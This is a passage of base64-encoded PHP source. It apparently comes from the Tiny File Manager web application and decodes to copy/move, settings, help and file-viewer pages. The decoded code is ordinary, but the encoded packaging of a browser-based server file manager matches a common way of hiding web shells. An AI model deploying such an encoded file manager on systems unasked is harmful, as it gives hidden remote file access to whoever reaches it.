T0iMSIgaWQ9ImpzLW1vdmUtZmlsZXMiIGNsYXNzPSJjdXN0b20tY29udHJvbC1pbnB1dCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLW1vdmUtZmlsZXMiIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yIj48P3BocCBlY2hvIGxuZygnTW92ZScpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWRhbmdlciI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2E+PC9iPiZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gY29weSBmb3JtCmlmIChpc3NldCgkX0dFVFsnY29weSddKSAmJiAhaXNzZXQoJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICRjb3B5ID0gJF9HRVRbJ2NvcHknXTsKICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7CiAgICBpZiAoJGNvcHkgPT0gJycgfHwgIWZpbGVfZXhpc3RzKEZNX1JPT1RfUEFUSCAuICcvJyAuICRjb3B5KSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCj8+CiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4KICAgICAgICA8cD48Yj5Db3B5aW5nPC9iPjwvcD4KICAgICAgICA8cCBjbGFzcz0iYnJlYWstd29yZCI+CiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICcvJyAuICRjb3B5KSkgPz48YnI+CiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnLycgLiBGTV9QQVRIKSkgPz4KICAgICAgICA8L3A+CiAgICAgICAgPHA+CiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiZhbXA7ZmluaXNoPTEiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gQ29weTwvYT48L2I+ICZuYnNwOwogICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTEiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gTW92ZTwvYT48L2I+ICZuYnNwOwogICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IENhbmNlbDwvYT48L2I+CiAgICAgICAgPC9wPgogICAgICAgIDxwPjxpPjw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgZm9sZGVyJykgPz48L2k+PC9wPgogICAgICAgIDx1bCBjbGFzcz0iZm9sZGVycyBicmVhay13b3JkIj4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7CiAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+Ij48aSBjbGFzcz0iZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCI+PC9pPiAuLjwvYT48L2xpPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmKSB7CiAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWZvbGRlci1vIj48L2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PC9hPgogICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgIDwvdWw+CiAgICA8L2Rpdj4KPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgppZiAoaXNzZXQoJF9HRVRbJ3NldHRpbmdzJ10pICYmICFGTV9SRUFET05MWSkgewogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJGxhbmdfbGlzdDsKPz4KCiAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zIj4KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIiIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciBkLWZsZXgganVzdGlmeS1jb250ZW50LWJldHdlZW4iPgogICAgICAgICAgICAgICAgPHNwYW4+PGkgY2xhc3M9ImZhIGZhLWNvZyI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9hPgogICAgICAgICAgICA8L2g2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGZvcm0gaWQ9ImpzLXNldHRpbmdzLWZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGRhdGEtdHlwZT0iYWpheCIgb25zdWJtaXQ9InJldHVybiBzYXZlX3NldHRpbmdzKHRoaXMpIj4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0ic2V0dGluZ3MiIGFyaWEtbGFiZWw9ImhpZGRlbiIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtbGFuZ3VhZ2UiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ0xhbmd1YWdlJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJmb3JtLXNlbGVjdCIgaWQ9ImpzLWxhbmd1YWdlIiBuYW1lPSJqcy1sYW5ndWFnZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBnZXRTZWxlY3RlZCgkbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdsb2JhbCAkbGFuZzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgkbGFuZyA9PSAkbCkgPyAnc2VsZWN0ZWQnIDogJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRsYW5nX2xpc3QgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nJGsnICIgLiBnZXRTZWxlY3RlZCgkaykgLiAiPiR2PC9vcHRpb24+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtdC0zIG1iLTMgcm93ICI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLWVycm9yLXJlcG9ydCIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnRXJyb3JSZXBvcnRpbmcnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1zd2l0Y2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0iY2hlY2tib3giIHJvbGU9InN3aXRjaCIgaWQ9ImpzLWVycm9yLXJlcG9ydCIgbmFtZT0ianMtZXJyb3ItcmVwb3J0IiB2YWx1ZT0idHJ1ZSIgPD9waHAgZWNobyAkcmVwb3J0X2Vycm9ycyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLXNob3ctaGlkZGVuIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdTaG93SGlkZGVuRmlsZXMnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1zd2l0Y2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0iY2hlY2tib3giIHJvbGU9InN3aXRjaCIgaWQ9ImpzLXNob3ctaGlkZGVuIiBuYW1lPSJqcy1zaG93LWhpZGRlbiIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gJHNob3dfaGlkZGVuX2ZpbGVzID8gJ2NoZWNrZWQnIDogJyc7ID8+IC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMgcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtaGlkZS1jb2xzIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdIaWRlQ29sdW1ucycpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLXN3aXRjaCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJjaGVja2JveCIgcm9sZT0ic3dpdGNoIiBpZD0ianMtaGlkZS1jb2xzIiBuYW1lPSJqcy1oaWRlLWNvbHMiIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvICRoaWRlX0NvbHMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy0zLTEiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ1RoZW1lJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJmb3JtLXNlbGVjdCB3LTEwMCB0ZXh0LWNhcGl0YWxpemUiIGlkPSJqcy0zLTAiIG5hbWU9ImpzLXRoZW1lLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9J2xpZ2h0JyA8P3BocCBpZiAoJHRoZW1lID09ICJsaWdodCIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAic2VsZWN0ZWQiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSAiZGFyayIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAic2VsZWN0ZWQiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdkYXJrJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tMTAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPiA8aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9InRleHQtYm9keS1zZWNvbmRhcnkiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPC9zbWFsbD4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgppZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICBnbG9iYWwgJGNmZywgJGxhbmc7Cj8+CgogICAgPGRpdiBjbGFzcz0iY29sLW1kLTggb2Zmc2V0LW1kLTIgcHQtMyI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgIDxoNiBjbGFzcz0iY2FyZC1oZWFkZXIgZC1mbGV4IGp1c3RpZnktY29udGVudC1iZXR3ZWVuIj4KICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9hPgogICAgICAgICAgICA8L2g2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTYiPgogICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgPGgzPjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIiIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iYXBwLXYtdGl0bGUiPiA8P3BocCBlY2hvIGxuZygiQXBwTmFtZSIpLiIgIi5WRVJTSU9OOyA/PjwvYT48L2gzPgogICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0F1dGhvcicpID8+PC9zdHJvbmc+OiBQUkHFmkFUSCBNQU7EsDwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnTWFpbCBVcycpID8+PC9zdHJvbmc+OiA8YSBocmVmPSJtYWlsdG86Y2NwcHJvZ3JhbW1lcnNAZ21haWwuY29tIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTwvYT48L3A+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS02Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9Imxpc3QtZ3JvdXAgbGlzdC1ncm91cC1mbHVzaCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIvd2lraSIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1xdWVzdGlvbi1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAgRG9jdW1lbnRzJykgPz4gPC9hPiA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyL2lzc3VlcyIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1idWciPjwvaT4gPD9waHAgZWNobyBsbmcoJ1JlcG9ydCBJc3N1ZScpID8+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSkgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iamF2YXNjcmlwdDpzaG93X25ld19wd2QoKTsiPjxpIGNsYXNzPSJmYSBmYS1sb2NrIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqcy1uZXctcHdkIGhpZGRlbiBtdC0yIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUiIG9uc3VibWl0PSJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcykiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9InB3ZGhhc2giIGFyaWEtbGFiZWw9ImhpZGRlbiIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBtYi0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJzdGF0aWNFbWFpbDIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBteC1zbS0zIG1iLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImlucHV0UGFzc3dvcmQyIiBjbGFzcz0ic3Itb25seSI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIGJ0bi1zbSIgaWQ9ImlucHV0UGFzc3dvcmQyIiBuYW1lPSJpbnB1dFBhc3N3b3JkMiIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZScpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjIiIHJlYWRvbmx5IGlkPSJqcy1wd2QtcmVzdWx0Ij48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gZmlsZSB2aWV3ZXIKaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKSB7CiAgICAkZmlsZSA9ICRfR0VUWyd2aWV3J107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTsKICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpIHx8ICFmbV9pc19leGNsdWRlX2l0ZW1zKCRmaWxlLCAkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCgogICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZmlsZSk7CiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKCiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpOwogICAgJGZpbGVzaXplX3JhdyA9IGZtX2dldF9zaXplKCRmaWxlX3BhdGgpOwogICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpOwoKICAgICRpc196aXAgPSBmYWxzZTsKICAgICRpc19nemlwID0gZmFsc2U7CiAgICAkaXNfaW1hZ2UgPSBmYWxzZTsKICAgICRpc19hdWRpbyA9IGZhbH